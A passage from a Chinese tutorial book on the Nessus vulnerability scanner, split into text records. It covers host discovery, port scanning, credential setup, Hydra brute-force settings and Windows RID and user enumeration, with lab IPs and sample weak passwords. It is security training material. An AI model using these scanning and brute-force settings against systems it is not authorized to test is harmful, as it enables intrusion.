从输出结果可以看到，远程主机使用SYN/ACK包响应了Nessus发送到80端口的TCP SYN请求，由此可以说明目标主机是活动的。"},
    {"text": "未知 4.2.5 枚举过程 从扫描类型设置界面中可以看到，Nessus是通过ARP、ICMP和TCP扫描方式来判断目标主机是否在线的。此时，也可以通过捕获数据包来验证Nessus是否是这样工作的。例如，可以使用抓包工具Wireshark捕获并分析包。本例中捕获的包如图4.14所示。 图4.14 捕获的包 从图4.14中可以看到，捕获了大量的ARP协议包，说明Nessus使用ARP协议Ping远程主机，进而实现主机发现。用户可以使用显示过滤器，分别过滤显示ARP、ICMP和TCP协议的包，找出响应的包。当Nessus扫描完成后，查看扫描结果，即可看到所有响应包的IP地址。例如，过滤ARP协议包，显示界面如图4.15所示。 图4.15 ARP协议包 图4.15所示界面显示了所有捕获的ARP协议包。其中，与1060帧类似的包是Nessus发送的ARP广播包；与1061帧类似的包是ARP响应包。从该界面中可以看到，响应的包地址有192.168.0.100、192.168.0.101和192.168.0.102等，说明这些主机都是活动的。 用户也可以过滤查看ICMP协议包，显示结果如图4.16所示。 图4.16 ICMP协议包 该界面显示了所有捕获的ICMP协议包。可以发现，包信息中显示信息为Destination Unreachable（Port unreachable）。这是因为扫描主机试图连接一个并不存在的UDP端口服务器发送的包。例如，如果向161端口发送SNMP包，但主机并不支持SNMP服务，那么就会收到Port unreachable包。但是，这并不能说明目标主机无响应，而是尝试连接的端口无响应。 未知 4.3 操作系统识别 操作系统识别是指确定目标主机的操作系统类型。这种扫描方式是通过TCP、ARP和ICMP Ping来实现主机发现的。该方式借助TCP/IP、SMB、HTTP、NTP和SNMP等协议探针，尝试识别目标主机的主机名和操作系统等。本节将介绍识别操作系统的方法。 未知 4.3.1 建立扫描任务 在实施操作系统识别之前，首先需要建立对应的扫描任务。下面将使用Host Discovery模板创建扫描任务，并选择使用OS Identification探测方式来识别操作系统类型。 【实例4-2】 通过操作系统识别的方式实现主机发现。具体操作步骤如下： （1）登录Nessus服务器，选择Host Discovery模板新建扫描任务，如图4.17所示。 图4.17 设置扫描任务信息 （2）在图4.17所示界面中设置扫描任务名称及目标地址，然后选择左侧的DISCOVERY选项，设置扫描类型为OS Identification（操作系统识别），如图4.18所示。 （3）从该界面中可以看到，这种扫描方式使用的是TCP、ARP和ICMP Ping主机。单击Save按钮，即可看到新建的扫描任务，如图4.19所示。 图4.18 设置扫描类型 图4.19 新建的OS Identification扫描任务 （4）从图4.19所示界面中可以看到已成功创建了名为OS Identification的扫描任务。此时，单击 按钮，开始对目标实施扫描。扫描完成后，显示界面如图4.20所示。 图4.20 扫描完成 （5）从图4.20所示界面中可以看到扫描操作系统任务已经完成。接下来就可以分析扫描结果了。 未知 1.1.2 漏洞扫描流程 当用户对漏洞扫描方式了解清楚后，便可以实施漏洞扫描。为了使用户更加清楚漏洞扫描的目的，下面将介绍漏洞扫描流程。 （1）探测主机，以确认主机是否在线。为了方便使用，很多漏洞扫描工具都附带了主机探测功能，如Nessus和OpenVAS。 （2）扫描端口，识别对应的服务、版本和操作系统。开放的端口是网络数据通信的基础。对目标主机进行扫描时，必须通过扫描发现开放的端口，并对开放的端口发送特定的数据包，根据响应判断端口后面的服务、版本及操作系统类型。 （3）根据服务和操作系统，选择对应的漏洞模块，验证是否存在该漏洞。 未知 4.3.2 分析结果 在扫描任务列表中单击扫描任务OS Identification，查看扫描结果，如图4.21所示。 图4.21 扫描结果 从图4.21所示界面中可以看到，共扫描出了4台主机。用户可以查看任意一台主机的漏洞列表及操作系统类型。例如，查看地址为192.168.91.130的主机的扫描结果，显示结果如图4.22所示。 图4.22 操作系统漏洞信息 从图4.22所示界面中可以看到，该主机包括三个漏洞信息，名称分别为Nessus Scan Information、OS Identification和Ping the remote host。这里主要分析OS Identification漏洞的详细信息。在漏洞列表中单击名为OS Identification的漏洞插件，将显示如下信息： Info OS Identification #漏洞名称及漏洞安全级别 Description #漏洞描述信息 Using a combination of remote probes (e.g., TCP/IP, SMB, HTTP, NTP, SNMP, etc.), it is possible to guess the name of the remote operating system in use. It is also possible sometimes to guess the version of the operating system. #扫描实施的方式 Output #输出信息 #系统类型 Remote operating system : Linux Kernel 4.19.0-kali5-amd64 Confidence level : 99 #可信度 Method : uname #探测方式 The remote host is running Linux Kernel 4.19.0-kali5-amd64 Port Hosts #端口和主机地址 N/A 192.168.91.130 从描述信息中可以看到，OS Identification插件可以远程探测主机的操作系统类型及系统版本。从输出信息中可以看到，远程主机正在运行的操作系统类型为Linux Kernel 4.19.0-kali5-amd64，可信度为99%，探测方式为验证uname命令的执行结果。"},
    {"text": "未知 4.4 通用端口扫描 这里说的端口是指TCP/IP协议中的端口，包括TCP端口和UDP端口。其中，一些端口被分配给了特定服务，也就是这里说的通用端口。表4.2列出了常见的TCP/UDP端口。 表4.2 通用端口 通过进行端口扫描，可以扫描出目标主机上开放的所有通用端口。通过向远程主机某端口发送SYN包，来判断该端口是否开放。如果收到RST ACK响应包，则说明该端口是开放的。下面介绍如何利用通用端口扫描的方法来实现主机发现。 【实例4-3】 使用通用端口扫描的方式实施主机发现。具体操作步骤如下： （1）登录Nessus服务，新建扫描类型为Port scan(common ports)（通用端口扫描）的扫描任务，如图4.23所示。 图4.23 设置扫描类型 （2）从图4.23所示界面默认的Port Scanner Settings配置中可以看到Scan common ports信息，即扫描通用端口。单击Save按钮保存扫描任务，并开始扫描。扫描完成后，将显示如图4.24所示的界面。 图4.24 扫描完成 （3）从图4.24所示界面中可以看到，通用端口已经扫描完成。接下来查看扫描结果，如图4.25所示。 （4）此时，可以查看任何一台主机的端口扫描结果。例如，查看主机192.168.91.130的端口信息，显示界面如图4.26所示。 图4.25 扫描结果 图4.26 扫描结果 （5）这里查看端口扫描的详细信息，即Plugin Name为Nessus SYN Scanner的信息，显示结果如图4.27所示。 （6）从图4.27所示界面中可以看到目标主机上打开的端口。由于该界面太大，所以这里只截取了一部分信息，可以看到目标主机上开启的端口有135和139。 图4.27 端口的详细信息 由于网络直接传输数据是通过端口和地址来到达目的地的，所以可以通过捕获数据包来查看Nessus向哪些端口发送了连接，也就是扫描了哪些端口。为了方便用户快速分析，可以仅指定一个目标进行扫描。本例中捕获到的数据包如图4.28所示。 图4.28 捕获的数据包 从图4.28所示界面中可以看到大量的ARP和TCP协议包，这些包就是用来判断目标主机是否在线的。前文讲解了Nessus将会向扫描的端口发送连接请求，为了使用户能更直观地看到扫描的端口，这里将添加一个端口列，并进行排序，即可看到扫描的端口。在捕获的包中选择任意一个TCP协议包，并展开其包的详细信息，找到Destination Port行信息，如图4.29所示。 图4.29 端口信息 在图4.29所示界面中选择Destination Port信息并右击，将弹出如图4.30所示的快捷菜单，选择“应用为列”命令，即可添加端口列，如图4.31所示。 图4.30 快捷菜单 从该界面中可以看到，成功添加了Destination Port列。此时，可以单击列名进行排序，如从小到大进行排序（单击一次列），显示结果如图4.32所示。在捕获的包中，可能会有其他地址的主机发送的请求，而不是Nessus主机发送的。此时，用户可以使用显示过滤器，仅过滤源地址为Nessus主机的包，语法格式如下： ip.src==IP地址 以上语法中，ip.src表示过滤IP源地址；“==”表示前后两者的关系；“IP地址”即指定过滤的主机地址。 从该界面的端口列中可以看到依次排序后显示的端口号。从显示的端口中，可以看到请求的端口号有1、100和1000等，由此可以说明，这种方式没有对所有端口进行扫描。其中，如果收到远程主机响应的包，则说明该端口是开放的。例如，本例中远程主机的22号端口是开放的，则响应的包如图4.33所示。 图4.31 添加了Destination Port列 图4.32 排序后的端口 从图4.33所示界面中可以看到，包61760～61765帧是扫描22号端口的包，而且成功与远程主机建立了连接。这说明远程主机不仅对外开放了22号端口，而且还允许连接。 图4.33 响应的包 未知 4.5 所有端口扫描 这里说的所有端口是指所有的TCP和UDP端口，其端口号范围为1～65 535。在一些情况下，为了安全起见，用户不会使用服务的标准端口，而是自己任意设置一个端口。在这种情况下，使用通用端口扫描方式可能无法扫描到该端口。此时，使用所有端口扫描方式是一个不错的选择。 在扫描所有端口时，只需要将扫描类型设置为port scan(all ports)（所有端口）即可，如图4.34所示。 图4.34 扫描所有端口 从图4.34所示界面中可以看到，这种扫描方式的扫描端口范围为1～65 535。单击Save按钮，即可对所有端口进行扫描。扫描结果和通用端口扫描结果类似，这里不再详细介绍。 提示： 以上介绍的4种扫描类型使用的是Nessus的默认配置。当然，也可以不使用以上的扫描类型，而自定义一种扫描类型。 同样也可以通过捕获数据包，来确认这种方式是否是扫描了所有端口。分析方法和4.4节介绍的方法一样。本例中捕获包的端口排序后，显示结果如图4.35所示。 图4.35 端口排序后的结果 从该界面中的端口列可以看到依次排序的所有端口，由此可以说明这种扫描方式对所有端口进行了扫描。 未知 4.6 定制扫描方式 如果不想使用Nessus默认的扫描模板，也可以自己定制扫描方式。本节将介绍定制主机发现方式和端口扫描方式的方法。"},
    {"text": "未知 4.6.1 定制主机发现方式 当选择Advanced Scan模块后，即可自己定制扫描方式。在扫描模板配置界面，选择DISCOVERY|Host Discovery选项，即可定制主机发现方式，如图4.36所示。 图4.36 主机发现设置界面 由于截图的原因，该界面只截取了一部分。在该界面中包括5部分设置，分别是启用远程主机Ping功能（Remote Host Ping）、通用设置（General Settings）、探测方式（Ping Methods）、特殊主机（Fragile Devices）和唤醒网络主机（Wake-on-LAN）。下面将分别介绍每部分设置选项的含义。 1.启用远程主机Ping功能 Ping远程主机功能的设置选项如图4.37所示。 图4.37 启用Ping主机功能 从该界面中可以看到，默认启用了Ping远程主机功能。该选项表示通过Ping远程主机，来判断目标主机是否是活动的。 2.通用设置 通用设置选项用来设置发现主机的方式，如图4.38所示。 从该界面中可以看到，通过设置包括两个子选项，分别是Test the local Nessus host和Use fast network discovery。其中，Test the local Nessus host选项表示在对目标主机进行扫描时，是否也对本机进行扫描；Use fast network discovery选项表示快速地进行网络发现，绕过一些额外测试。通常情况下，如果Nessus收到主机响应Ping请求，将会再次进行额外测试，以确认该响应是否是来自一个代理或负载平衡器，这样更加能够保证扫描结果的准确性。 图4.38 通用设置 3.探测方式 用户还可以定制主机的探测方式，如ARP、TCP和ICMP等。其中，用于设置探测方式的选项如图4.39所示。 图4.39 探测方式 从图4.39所示界面中可以看到4种探测方式，分别是ARP、TCP、ICMP和UDP。其中，ARP Ping仅适用于本地网络；TCP Ping主要用于探测目标开放的端口；ICMP Ping通过向远程主机发送Ping命令，如果目标返回一个ICMP不可达，则说明该主机是关闭的；UDP是一种不可靠的通信协议，一般情况下不用于远程探测。 4.特殊主机 用户还可以设置扫描一些特殊主机。其中，特殊主机的设置选项如图4.40所示。 从该界面中可以看到，特殊主机包括三个选项，分别是Scan Network Printers（扫描网络打印机）、Scan Novell Netware hosts（扫描Novell Netware主机）和Scan Operational Technology devices（扫描工业OT设备）。如果想要扫描某特殊主机，选中前面的复选框即可。 5.唤醒网络主机 当用户长时间不进行操作时，通常会将计算机处于待机或休眠状态。此时，可以唤醒网络主机，并对其实施扫描发现。大部分计算机都自带了一种电源管理功能，如果存在网络活动，则允许设备将操作系统从待机或休眠模式中唤醒。其中，唤醒网络主机的设置选项如图4.41所示。 图4.40 特殊主机的设置 图4.41 唤醒网络主机 从图4.41所示界面中可以看到，唤醒网络主机有两个选项，分别是List of MAC addresses和Boot time wait(in minutes)。其中，List of MAC addresses选项用来指定唤醒主机的MAC地址列表，用户可以将主机的MAC地址保存在一个文件中，通过单击Add File选项将其添加进来，即可指定唤醒的主机；Boot time wait(in minutes)选项用来设置等待启动的时间。"},
    {"text": "未知 4.6.2 定制端口扫描方式 在扫描任务配置界面中，选择DISCOVERY|Port Scanning选项，将打开定制端口扫描方式界面，如图4.42所示。 该界面包括三部分设置，分别是端口范围（Ports）、本地端口枚举方式（Local Port Enumerators）和网络端口扫描方式（Network Port Scanners）。下面将分别介绍每部分的配置选项及其含义。 1.端口范围 当用户实施端口扫描时，可以定制端口范围。其中，端口范围的设置选项如图4.43所示。 图4.42 定制端口扫描方式 图4.43 端口范围设置选项 在图4.43所示界面中的端口范围设置有两个选项，分别是Consider unscanned ports as closed和Port scan range。其中，Consider unscanned ports as closed选项表示是否将不扫描的端口状态设为关闭。Port scan range选项用来指定扫描的端口范围，默认值为default，表示扫描在Nessus服务文件中大约4790个常见的端口；如果设置为all的话，则表示扫描所有端口，即1～65 535。用户也可以指定一个范围的端口，中间使用连字符分隔；如果指定的是一个不连续范围的端口的话，则使用逗号分隔。如果需要指定端口的TCP和UDP协议，则使用T和U表示。例如，TCP协议的1～1024端口，即“T:1-1024”；如果是UDP协议，则输入为“U:1-1024”。 2.本地端口枚举方式 本地端口枚举方式是用来指定使用本地的哪种端口扫描服务探测。其中，本地端口枚举方式的设置选项如图4.44所示。 图4.44 本地端口枚举方式设置选项 从该界面中可以看到，提供了5种本地端口枚举方式，具体含义如下： ·SSH(netstat)：表示使用netsta从本地计算机检查目标主机打开的端口。这种方式依靠netstat命令通过SSH连接到目标。这种扫描用于基于UNIX的系统，并要求身份验证凭据。 ·WMI(netstat)：表示使用netstat从本地计算机检查目标主机打开的端口。这种方式依靠netstat命令通过WMI连接到目标。这种扫描方式用于基于Windows的系统，并要求身份验证凭据。 ·SNMP：扫描目标主机的SNMP服务。Nessus会在扫描过程中探测有关SNMP的设置，如果用户都提供了这些设置的凭据，将会允许Nessus更好地探测远程主机，并获取更详细的审计结果。 ·Only run network port scanners if local port enumeration failed：如果本地端口枚举失败，则只能运行网络端口扫描器；否则，依靠本地端口枚举。 ·Verify open TCP ports found by local port enumerators：通过本地端口枚举器，验证开放的TCP端口。 3.网络端口扫描方式 用户还可以设置网络端口扫描方式，如图4.45所示。 图4.45 网络端口扫描方式 从图4.45所示界面中可以看到，网络端口扫描方式包括SYN和UDP两种方式。其中，SYN表示使用TCP SYN方式扫描目标上开放的TCP端口。SYN扫描是最常用的端口扫描方法，可以绕过防火墙的拦截；UDP扫描方式主要用于扫描目标主机上开放的UDP端口。当用户选择使用TCP SYN扫描方式时，还可以设置防御防火墙自动探测（Override automatic firewall detection），当用户启用该功能后，可以设置三种探测方式，分别是Use soft detection（使用柔性探测方式）、Use aggressive detection（使用硬性探测方式）和Disable detection（不对防火墙进行探测）。 在kindle搜索B089Y82SSX可直接购买阅读 未知 第5章 漏洞扫描 用户通过主机发现，即可探测出网络中活动的主机及开放的端口。接下来，将对这些活动主机实施漏洞扫描。本章将介绍设置漏洞扫描的方法。 未知 5.1 服务发现 当用户确定主机活动，并且探测到主机中开放的端口号后，即可进行服务发现，以发现端口对应的服务及服务版本等。然后，根据服务匹配对应的漏洞插件进行漏洞扫描，以验证漏洞是否存在。所以，如果没有探测到目标开启的端口，就无法进行后续的漏洞扫描。本节将介绍服务发现的方法。 在扫描任务设置界面中选择DISCOVERY|Service Discovery选项，将打开服务发现设置界面，如图5.1所示。 图5.1 服务发现 在图5.1所示界面中可以设置端口服务探测和SSL/TLS服务探测。下面介绍每个配置选项及含义。 ·Probe all ports to find services：表示对所有端口上运行的服务进行探测。 ·Search for SSL/TLS services：表示对SSL/TLS服务进行探测。 ·Search for SSL/TLS on：设置探测SSL/TLS的端口范围。该配置项提供了两个值，分别是Known SSL/TLS ports（已知的SSL/TLS端口）和All ports（所有端口），默认选择的是Known SSL/TLS ports。如果启用该功能，则建议选择All ports。 ·Identify certificates expiring within x days：识别在x天内到期的SSL/TLS证书，默认是60天。 ·Enumerate all SSL/TLS ciphers：设置是否列举所有SSL/TLS密码。启用该功能后，Nessus将忽略SSL/TLS服务的密码列表，并通过尝试使用所有可能的密码建立连接。 ·Enable CRL checking(connects to the Internet)：是否启用CRL检查。 未知 5.2 认证方式 当用户在实施漏洞扫描时，部分服务会进行身份验证，如SSH服务。所以，用户需要指定认证方式，否则将无法访问对应的服务，而造成漏洞扫描失败。在Nessus中，用户不仅可以手动指定认证信息，还可以对认证信息进行暴力破解。本节将介绍认证方式的相关设置。"},
    {"text": "未知 5.2.1 认证信息分类 Nessus默认提供了5类认证信息，分别是Cloud Services（云服务）、Database（数据库）、Host（主机）、Miscellaneous（杂项）和Plaintext Authentication（纯文本认证）。在扫描任务配置界面中选择Credentials选项卡，将打开证书设置界面，如图5.2所示。 从该界面中可以看到，默认选择的证书种类为Host。单击证书种类下拉列表，即可显示证书种类列表，如图5.3所示。 从该列表中可以看到所有的证书种类，分别是All、Cloud Services、Database、Host、Misellaneous和Plaintext Authentication，根据需要选择配置的认证信息种类，即可配置其服务认证信息。下面将以SSH和Windows主机为例，介绍配置认证信息的方法。 图5.2 证书设置 图5.3 证书种类列表 未知 1.2 Nessus概述 Nessus号称是世界上最流行的漏洞扫描程序，全世界有超过75 000个组织在使用它。该工具提供完整的计算机漏洞扫描服务，并随时更新其漏洞数据库。Nessus不同于传统的漏洞扫描软件，它可同时在本机或远端上遥控，进行系统的漏洞分析扫描。对于渗透测试人员来说，Nessus是必不可少的工具之一。所以，本节将介绍Nessus工具的基础知识。 未知 5.2.2 SSH认证 安全外壳协议（Secure Shell，缩写为SSH）由IETF的网络小组制定。SSH为建立在应用层基础上的安全协议，是目前较可靠、专为远程登录会话和其他网络服务提供安全性的协议。如果用户想要扫描SSH服务，则需要提供认证信息。在证书设置界面，选择Host种类，然后单击SSH选项，将显示SSH服务认证信息设置界面，如图5.4所示。 图5.4 SSH认证信息 图5.4所示界面包括SSH和Global Credential Settings两部分设置。其中，SSH部分用来设置SSH服务的认证信息，如图5.5所示。 图5.5 SSH服务的认证信息 从图5.5所示界面可以看到SSH服务认证信息的所有配置选项。下面介绍每个选项及含义。 ·Authentication method：该选项用来设置认证方法。这里可以选择的认证方法有certificate（证书）、public key（公钥）、password（密码）和Kerberos（网络认证协议）。 ·Username：指定登录SSH服务的用户名。 ·Private key：指定私钥文件。这里仅支持RSA和DSA加密算法的密钥文件。在Linux中，用户可以使用ssh-keygen工具来创建密钥文件。 ·Private key passphrase：指定私钥的密码短语，即保护私钥文件的密码。 ·Elevate privileges with：是否提示权限。这里默认选择的是Nothing，表示不进行权限提示。用户可以在下拉列表中选择提示权限的方法，如.k5login、Cisco'enable'、dzdo、pbrun、su、su+sudo和sudo。 例如，这里将使用password认证方法，并且添加一个认证信息，其中用户名为root，密码为daxueba，如图5.6所示。 图5.6 配置的SSH认证信息 Global Credential Settings部分是全局认证设置，如图5.7所示。 图5.7 全局认证设置 图5.7所示界面显示了SSH服务的全局认证设置选项。下面介绍每个选项及含义。 ·known_hosts file：用来指定一个主机文件。 ·Preferred port：指定首选的端口号。其中，SSH服务默认端口为22。 ·Client version：指定客户端的版本。这里默认设置的客户端版本为OpenSSH_5.0。 ·Attempt least privilege(experimental)：尝试最小特权。"},
    {"text": "未知 5.2.3 Windows认证 对于Windows主机，通常也需要身份认证。本节将介绍添加Windows认证的方法。在认证设置界面选择认证种类为Host，然后单击Windows选项，将显示Windows认证设置界面，如图5.8所示。 图5.8 设置Windows认证 图5.8所示界面包括Windows和Global Credential Settings两部分设置。其中，Windows部分用来设置Windows认证信息，如图5.9所示。 其中，Authentication method选项用来指定认证方式。Nessus支持的认证方式有4个，分别是Kerberos、LM Hash、NTLM Hash和Password。下面依次讲解这4种认证方式。 图5.9 Windows认证信息 1.Kerberos方式 Kerberos是一种网络认证协议，其设计目标是通过密钥系统为客户机/服务器应用程序提供强大的认证服务。该认证过程不依赖于主机操作系统的认证和主机地址，不要求网络上所有主机的物理安全，并假定网络上传送的数据包可以被任意地读取、修改和插入数据。在以上情况下，Kerberos作为一种可信任的第三方认证服务，是通过传统的密码技术（如共享密钥）执行认证服务的。Kerberos主要用于域模式下。该认证方式的设置界面如图5.10所示。 图5.10 Kerberos认证 下面介绍该认证方式的设置选项及含义。 ·Username：指定认证的用户名。 ·Password：指定认证密码。 ·Key Distribution Center(KDC)：指定密钥分配中心。 ·KDC Port：指定KDC端口。 ·KDC Transport：指定KDC协议。 ·Domain：指定域名。 2.LM Hash方式 LM Hash是早期IBM设计的算法，该算法的用户密码被限制为最多14个字符。Windows XP/2000/2003系统默认使用LM Hash进行加密。该认证方式的设置界面如图5.11所示。 图5.11 LM Hash认证 下面介绍该认证方式的设置选项及含义。 ·Username：指定用户名。 ·Hash：指定密码LM哈希。 ·Domain：指定域名。 3.NTLM Hash方式 NTLM是NT LAN Manager的缩写，是Windows NT早期版本的标准安全协议。NTLM Hash使用在Windows NT和Windows 2000 Server工作组环境中。在AD域环境中，如果需要认证Windows NT系统，也必须采用NTLM Hash。该认证方式的设置界面如图5.12所示。 图5.12 NTLM Hash认证 下面介绍该认证方式的设置选项及含义。 ·Username：指定认证的用户名。 ·Hash：指定密码NTLM哈希。 ·Domain：指定域名。 4.Password方式 Password就是最常见的用户名和密码认证方式，其设置界面如图5.13所示。 图5.13 Password认证 下面介绍该认证方式的设置选项及含义。 ·Username：指定认证的用户名。 ·Password：指定用户密码。 ·Domain：指定域名。 例如，这里将添加一个Windows认证信息，使用的认证方式为Password，其中认证用户名为Administrator，密码为123456，如图5.14所示。 图5.14 添加Windows认证信息 Global Credential Settings部分是全局认证设置，如图5.15所示。 图5.15 全局认证设置 下面介绍各配置选项及其含义。 ·Never send credentials in the clear：从来不发送明文凭证。 ·Do not use NTLMv1 authentication：不使用NTLMv1认证方式。 ·Start the Remote Registry service during the scan：在扫描期间启用远程注册服务。 ·Enable administrative shares during the scan：在扫描期间允许访问能被管理员特权读取的注册项。 未知 5.2.4 暴力破解 暴力破解是在不知道认证信息的情况下，采用暴力枚举的方式破解服务的认证信息。对于特定的服务，可以考虑对认证信息进行暴力破解。下面将介绍设置暴力破解的方法。 在扫描任务设置界面，依次选择ASSESSMENT|Brute Force选项，将打开暴力破解设置界面，如图5.16所示。 图5.16 暴力破解设置 从图5.16所示界面可以看到，暴力破解包括三部分设置，分别是General Settings、Oracle Database和Hydra。其中，General Settings是一个通用设置，该部分只有一个选项：Only use credentials provided by the user，表示仅使用用户提供的信息。也就是在破解远程主机的密码时，用户需要手动设置证书。因为在某些情况下，Nessus将测试默认账户和默认密码。如果连续尝试无效次数太多，将会导致该账户被锁定。 Oracle Database用来设置Oracle数据库，其也只有一个选项Test default accounts(slow)，表示测试默认Oracle账号，即测试Oracle软件中已知的默认账户。 Hydra部分表示使用Hydra工具实施暴力破解，该部分的选项如图5.17所示。由于该图较大，没有截取完整的页面。 图5.17 Hydra选项 下面介绍该部分的选项及含义。 ·Always enable Hydra(slow)：总是启用Hydra工具，表示将使用该工具实施暴力破解。 ·Logins file：指定一个登录用户字典文件。 ·Passwords file：指定一个密码字典文件。 ·Number of parallel tasks：指定并行任务数，默认是16。 ·Timeout：设置超时时间，默认是30秒。 ·Try empty passwords：尝试空密码。 ·Try login as password：尝试将登录名作为密码实施暴力破解。 ·Stop brute forcing after the first success：当找到一个有效的用户后，停止暴力破解。 ·Add accounts found by other plugins to the login file：通过其他插件添加找到的用户到登录文件。 ·PostgreSQL database name：指定PostgreSQL数据库名。 ·SAP R3 Client ID：指定SAP R3客户端ID，其范围为0~99。 ·Windows accounts to test：指定测试的Windows账户。其中，可设置的值有Local accounts、Domain Accounts和Either。 ·Interpret passwords as NTLM hashes：将密码作为NTLM哈希。 ·Cisco login password：指定一个Cisco系统登录密码。 ·Web page to brute force：指定暴力破解的Web页面。 ·HTTP proxy test website：指定HTTP代理测试站点。 ·LDAP DN：指定LDAP的DN。 提示： Hydra选项只有在安装Nessus的操作系统中安装Hydra工具后才会出现。"},
    {"text": "未知 5.2.5 Windows用户枚举 如果目标主机是Windows系统，用户还可以使用Windows用户枚举方式。在扫描任务设置界面，依次选择ASSESSMENT|Windows选项，将显示Windows用户枚举设置界面，如图5.18所示。 图5.18 Windows用户枚举 图5.18所示界面包括三部分配置选项，分别是General Settings（通用设置）、User Enumeration Methods（用户枚举方法）和RID Brute Forcing（RID暴力破解）。下面将分别介绍每部分的配置选项。 1.通用设置 通用设置部分如图5.19所示。 该部分只有一个选项Request information about the SMB Domain，表示是否启用请求SMB域名相关信息。 2.用户枚举方法 用户枚举方法部分如图5.20所示。 图5.19 通用设置 图5.20 用户枚举方法 从图5.20所示界面可以看到，包括三种枚举方法，分别是SAM Registry、ADSI Query和WMI Query。 ·SAM Registry：通过SAM注册表方式枚举用户。SAM文件中包含了所有组、账号的信息，如密码的哈希、账户的SID等。 ·ADSI Query：使用ADSI查询方式枚举用户。ADSI是微软提供的活动目录服务接口，用来开发客户端目录服务应用程序。ADSI包括目录服务模型和一系列COM接口。 ·WMI Query：使用WMI查询方式枚举用户。WMI是Windows 2000/XP管理系统的核心，对于其他的Win32操作系统，WMI是一个有用的插件。WMI以CIMOM为基础，CIMOM即公共信息模型对象管理器（Common Information Model Object Manager），是一个描述操作系统构成单元的对象数据库，为MMC和脚本程序提供了一个访问操作系统构成单元的公共接口。 3.RID暴力破解 RID表示唯一标识符。为了更清楚RID的概念，则需要了解一下SID。安全标识符（Security Identifiers，简称SID）是表示用户、计算机账户的唯一的号码。在第一次创建该账户时，将给网络上的每一个账户发布一个唯一的SID。下面是一个典型的SID： S-1-5-21-1683771068-12213551888-624655398-1001 它遵循的模式为S-R-IA-SA-SA-RID。其中，每个部分的含义如下： ·S表示这是一个SID标识符。 ·R表示Revision（修订）。Windows生成的所有SID都使用修订级别1。 ·IA代表颁发机构。在Windows中，几乎所有的SID都指定NT机构作为颁发机构，它的ID编号为5。但是，代表已知组合账户的SID例外。 ·SA代表一个子机构。SA指定特殊的组或职能，例如，21表明SID由一个域控制器或者一台单机颁发。随后的一长串数字（1683771068-12213551888-624655398）就是颁发SID的那个域或机器的SA。 ·RID是指相对ID，是SA所指派的一个唯一的、顺序的编号，代表一个安全主体（如一个用户、计算机或组）。 RID暴力破解部分如图5.21所示。 从该界面可以看到，默认没有启用RID暴力破解功能。单击开关按钮 ，即可启动RID暴力破解。 图5.21 RID暴力破解 未知 5.2.6 枚举域用户 当用户启动RID暴力破解功能后，即可设置枚举域用户方式，如图5.22所示。 图5.22 枚举域用户 该界面包括两部分设置选项，分别是Enumerate Domain Users和Enumerate Local Users。其中，Enumerate Domain Users部分用来配置枚举域用户，如图5.23所示。 下面介绍该部分的配置选项及含义。 ·Start UID：该选项是用来指定枚举域名用户的起始UID。起始的UID值默认为1000。 ·End UID：该选项是用来指定枚举域名用户的结束UID。结束的UID值默认为1200。 图5.23 枚举域用户 Enumerate Local Users部分用来设置枚举本地用户，如图5.24所示。 图5.24 枚举本地用户 下面介绍该部分的配置选项及含义。 ·Start UID：该选项用来指定枚举本地用户的起始UID。起始的UID值默认为1000。 ·End UID：该选项用来指定枚举本地用户的结束UID。结束的UID值默认为1200。 未知 5.3 漏洞插件 当用户创建漏洞扫描任务时，还可以定制漏洞插件。在Nessus中，包括内置的静态插件，用户都可以启用或禁用，而且还可以对插件进行修改。本节将介绍漏洞插件的设置方法。"},
    {"text": "未知 5.3.1 静态插件 静态插件是Nessus内置的插件，用户直接可以使用。这些插件保存在/opt/nessus/lib/nessus/plugins目录中。在扫描任务配置界面，选择Plugins选项卡，将显示插件管理界面，如图5.25所示。 该界面的左侧栏中显示了Nessus支持的所有插件，其共有三列，分别是STATUS（状态）、PLUGIN FAMILY（插件家族）、TOTAL（总数）。从该界面还可以看到，这些插件都是启用的。用户可以单击某个插件，来禁用/启用该插件。如果需要禁用所有插件，单击右上方的Disable All按钮即可；如果需要全部启用，则单击Enable All按钮。该界面右侧框中是用来显示被选择的插件的，即新建策略使用的插件。用户在左侧栏中单击插件家族名称，则该插件家族会被添加到右侧栏中。例如，添加Backdoors插件家族成功后，显示界面如图5.26所示。 图5.25 插件管理界面 图5.26 选择的插件 从图5.26所示界面可以看到右侧栏中显示了Backdoors家族的插件。在该栏中也包括三列，分别是STATUS（状态）、PLUGIN NAME（插件名）和PLUGIN ID（插件ID）。用户可以单击插件名称查看某个插件的详细信息。例如，查看名为4553 Parasite Mothership Backdoor Detection插件的详细信息，将显示如图5.27所示的界面。 图5.27 插件详细信息 从图5.27所示界面可以看到关于该插件的详细信息，如摘要信息、描述、解决方法、插件信息及插件的危险信息等。从描述信息中，可以看到如果主机被安装了4553后门，则表明该主机易受攻击；建议的解决方法是重新安装该主机；从插件信息中，可以看到插件的ID为11187、插件版本为$Revision:1.12$、插件类型为remote、发布日期为2002/12/03等。 提示： 在Nessus插件列表中，可以发现不同状态的插件显示的颜色也不同。其中，启用时颜色显示为绿色，禁用后显示为灰色。但是，如果子插件被禁用时，而插件家族为启用，则该插件的状态颜色显示为紫色，如图5.28所示。 图5.28 插件颜色的显示 未知 5.3.2 修改插件 在Nessus中，提供了一个插件规则功能，可以隐藏或修改插件的严重级别。另外，插件规则还可以被限制到特定主机或特定时间段。对于用户创建的插件规则，可以查看、编辑和删除。下面将介绍动态插件的管理方法。 1.新建插件规则 在Nessus扫描任务列表的左侧栏中，选择Plugin Rules选项，将显示插件规则界面，如图5.29所示。 图5.29 插件规则 从图5.29所示界面可以看到，默认没有创建任何插件规则。单击右上角的New Rule按钮，将打开新建规则对话框，如图5.30所示。 图5.30 新建规则对话框 图5.30所示对话框包括4个配置选项，分别是Host、Plugin ID、Expiration Date和Severity。其中，Host用来指定规则被限制的特定主机，如果该值为空，则表示适用于所有主机；Plugin ID用来指定插件的编号；Expiration Date用来设置规则过期时间；Severity用来设置规则的严重性，可以设置的值有Hide this result（隐藏结果）、Info（详细信息）、Low（低）、Medium（中）、High（高）和Critical（严重）。例如，这里创建一个用来扫描主机192.168.198.138的插件规则，其中插件ID为79877、过期时间为2019-11-10、安全漏洞级别为Low，如图5.31所示。 图5.31 插件规则配置 单击Add按钮，即可成功创建该插件规则，如图5.32所示。 图5.32 成功创建了插件规则 2.编辑插件规则 对于用户创建的插件规则，可以进行编辑。例如，要修改前面新创建的插件规则，只需单击该插件规则，将打开插件规则编辑对话框，如图5.33所示。 